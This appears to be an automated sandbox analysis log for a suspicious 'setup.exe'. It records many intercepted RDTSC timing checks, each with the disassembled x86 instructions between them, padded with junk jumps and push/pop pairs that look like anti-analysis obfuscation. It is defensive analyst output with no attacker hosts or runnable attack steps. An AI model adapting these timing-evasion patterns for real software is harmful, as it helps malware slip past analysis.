Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CC0037 second address: 4CC0048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov ax, 9149h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CC0048 second address: 4CC007A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp], ebp 0x00000009 jmp 00007FDDE8CE13DEh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDDE8CE13E7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CC007A second address: 4CC0080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CC0080 second address: 4CC0084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE003C second address: 4CE00A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ebx, esi 0x0000000d mov edx, ecx 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FDDE9067F78h 0x00000019 or si, 29F8h 0x0000001e jmp 00007FDDE9067F6Bh 0x00000023 popfd 0x00000024 mov eax, 1949332Fh 0x00000029 popad 0x0000002a xchg eax, ecx 0x0000002b jmp 00007FDDE9067F72h 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov ebx, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE00A0 second address: 4CE00A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE00A5 second address: 4CE00BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 3388h 0x00000007 mov eax, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ecx 0x0000000d pushad 0x0000000e mov esi, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 mov edi, 623F4FF6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE00BC second address: 4CE0134 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [76FA65FCh] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDDE8CE13DFh 0x00000013 or al, 0000007Eh 0x00000016 jmp 00007FDDE8CE13E9h 0x0000001b popfd 0x0000001c movzx eax, di 0x0000001f popad 0x00000020 test eax, eax 0x00000022 jmp 00007FDDE8CE13E3h 0x00000027 je 00007FDE5AF24C2Dh 0x0000002d pushad 0x0000002e call 00007FDDE8CE13E4h 0x00000033 mov bh, ah 0x00000035 pop edi 0x00000036 push eax 0x00000037 push edx 0x00000038 mov esi, 5AC64969h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE0134 second address: 4CE0172 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ecx, eax 0x00000009 pushad 0x0000000a mov edi, 16824520h 0x0000000f popad 0x00000010 xor eax, dword ptr [ebp+08h] 0x00000013 pushad 0x00000014 mov edx, esi 0x00000016 mov cl, 9Ch 0x00000018 popad 0x00000019 and ecx, 1Fh 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f call 00007FDDE9067F72h 0x00000024 pop eax 0x00000025 jmp 00007FDDE9067F6Bh 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE0172 second address: 4CE01DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b jmp 00007FDDE8CE13DEh 0x00000010 leave 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FDDE8CE13DDh 0x0000001a adc ecx, 683E1996h 0x00000020 jmp 00007FDDE8CE13E1h 0x00000025 popfd 0x00000026 call 00007FDDE8CE13E0h 0x0000002b pop esi 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE02C2 second address: 4CE02C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CE02C8 second address: 4CE0310 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 call 00007FDDE8CE13E5h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007FDDE8CE13DEh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDDE8CE13E7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90019 second address: 4C9001D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C9001D second address: 4C90021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90021 second address: 4C90027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90027 second address: 4C9002D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C9002D second address: 4C90031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90031 second address: 4C90035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90035 second address: 4C90070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDDE9067F6Dh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FDDE9067F6Eh 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007FDDE9067F6Dh 0x0000001e movzx ecx, bx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90070 second address: 4C90075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90075 second address: 4C900F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FDDE9067F76h 0x0000000a or si, 3B48h 0x0000000f jmp 00007FDDE9067F6Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 and esp, FFFFFFF8h 0x0000001b pushad 0x0000001c mov cl, 5Bh 0x0000001e mov edx, 041C1224h 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FDDE9067F75h 0x0000002e and cx, 7F16h 0x00000033 jmp 00007FDDE9067F71h 0x00000038 popfd 0x00000039 call 00007FDDE9067F70h 0x0000003e pop esi 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C900F3 second address: 4C90128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c pushad 0x0000000d mov ebx, ecx 0x0000000f mov ch, 34h 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FDDE8CE13E3h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90128 second address: 4C90140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE9067F74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90140 second address: 4C90168 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDDE8CE13E9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90168 second address: 4C9016E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C9016E second address: 4C90173 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90173 second address: 4C901D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c jmp 00007FDDE9067F72h 0x00000011 xchg eax, esi 0x00000012 jmp 00007FDDE9067F70h 0x00000017 push eax 0x00000018 pushad 0x00000019 mov ax, 1673h 0x0000001d popad 0x0000001e xchg eax, esi 0x0000001f jmp 00007FDDE9067F76h 0x00000024 mov esi, dword ptr [ebp+08h] 0x00000027 jmp 00007FDDE9067F70h 0x0000002c xchg eax, edi 0x0000002d pushad 0x0000002e push ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C901D8 second address: 4C9023F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FDDE8CE13E4h 0x0000000c xchg eax, edi 0x0000000d jmp 00007FDDE8CE13E0h 0x00000012 test esi, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FDDE8CE13DDh 0x0000001d add si, 3E26h 0x00000022 jmp 00007FDDE8CE13E1h 0x00000027 popfd 0x00000028 jmp 00007FDDE8CE13E0h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C9023F second address: 4C90245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90245 second address: 4C90249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90249 second address: 4C9027C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FDE5B2F632Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FDDE9067F6Eh 0x00000017 and esi, 2A45BA28h 0x0000001d jmp 00007FDDE9067F6Bh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90386 second address: 4C9038C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C9038C second address: 4C90390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80943 second address: 4C80978 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDDE8CE13E3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80978 second address: 4C8097E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C8097E second address: 4C809AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDDE8CE13E1h 0x00000009 jmp 00007FDDE8CE13DBh 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ax, bx 0x00000019 movsx edi, cx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C809AD second address: 4C809B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C809B3 second address: 4C809B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C809B7 second address: 4C809E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDDE9067F75h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C809E1 second address: 4C809E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C809E7 second address: 4C809EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C809EB second address: 4C80A14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e pushad 0x0000000f mov di, ADC6h 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80A14 second address: 4C80A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80A18 second address: 4C80A1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80A1E second address: 4C80A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80A24 second address: 4C80A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80A28 second address: 4C80A87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e jmp 00007FDDE9067F70h 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FDDE9067F6Dh 0x0000001d adc cx, 2736h 0x00000022 jmp 00007FDDE9067F71h 0x00000027 popfd 0x00000028 mov si, 3B27h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80A87 second address: 4C80AA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDDE8CE13DCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80AA7 second address: 4C80B64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDE9067F71h 0x00000008 pushfd 0x00000009 jmp 00007FDDE9067F70h 0x0000000e add si, AFE8h 0x00000013 jmp 00007FDDE9067F6Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, esi 0x0000001d pushad 0x0000001e call 00007FDDE9067F74h 0x00000023 pushfd 0x00000024 jmp 00007FDDE9067F72h 0x00000029 adc eax, 3D7CCD78h 0x0000002f jmp 00007FDDE9067F6Bh 0x00000034 popfd 0x00000035 pop esi 0x00000036 popad 0x00000037 mov esi, dword ptr [ebp+08h] 0x0000003a jmp 00007FDDE9067F6Bh 0x0000003f sub ebx, ebx 0x00000041 jmp 00007FDDE9067F6Fh 0x00000046 test esi, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007FDDE9067F6Bh 0x00000051 jmp 00007FDDE9067F73h 0x00000056 popfd 0x00000057 mov edx, eax 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80B64 second address: 4C80BC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDE5AF76BE7h 0x0000000f jmp 00007FDDE8CE13DEh 0x00000014 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001b jmp 00007FDDE8CE13E0h 0x00000020 mov ecx, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FDDE8CE13E7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80BC3 second address: 4C80C17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDE5B2FD729h 0x0000000f jmp 00007FDDE9067F6Eh 0x00000014 test byte ptr [76FA6968h], 00000002h 0x0000001b jmp 00007FDDE9067F70h 0x00000020 jne 00007FDE5B2FD711h 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80C17 second address: 4C80C1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80C1D second address: 4C80C51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDDE9067F77h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80C51 second address: 4C80C8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDDE8CE13E5h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDDE8CE13E8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80C8B second address: 4C80C8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80C8F second address: 4C80C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80C95 second address: 4C80C9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80C9B second address: 4C80C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80C9F second address: 4C80CBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDDE9067F72h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80CBC second address: 4C80CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80CC2 second address: 4C80CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80CC6 second address: 4C80CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80CD5 second address: 4C80CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80CD9 second address: 4C80CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80CDF second address: 4C80CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE9067F78h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80CFB second address: 4C80D13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80D13 second address: 4C80D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80D17 second address: 4C80D1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80D1B second address: 4C80D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80D21 second address: 4C80D41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDDE8CE13DDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80D41 second address: 4C80D56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C80D56 second address: 4C80D71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90F28 second address: 4C90F55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDDE9067F6Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90C2D second address: 4C90C33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90C33 second address: 4C90C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90C37 second address: 4C90C46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90C46 second address: 4C90C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90C4A second address: 4C90C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90C4E second address: 4C90C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90C54 second address: 4C90C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE8CE13E7h 0x00000009 rdtsc
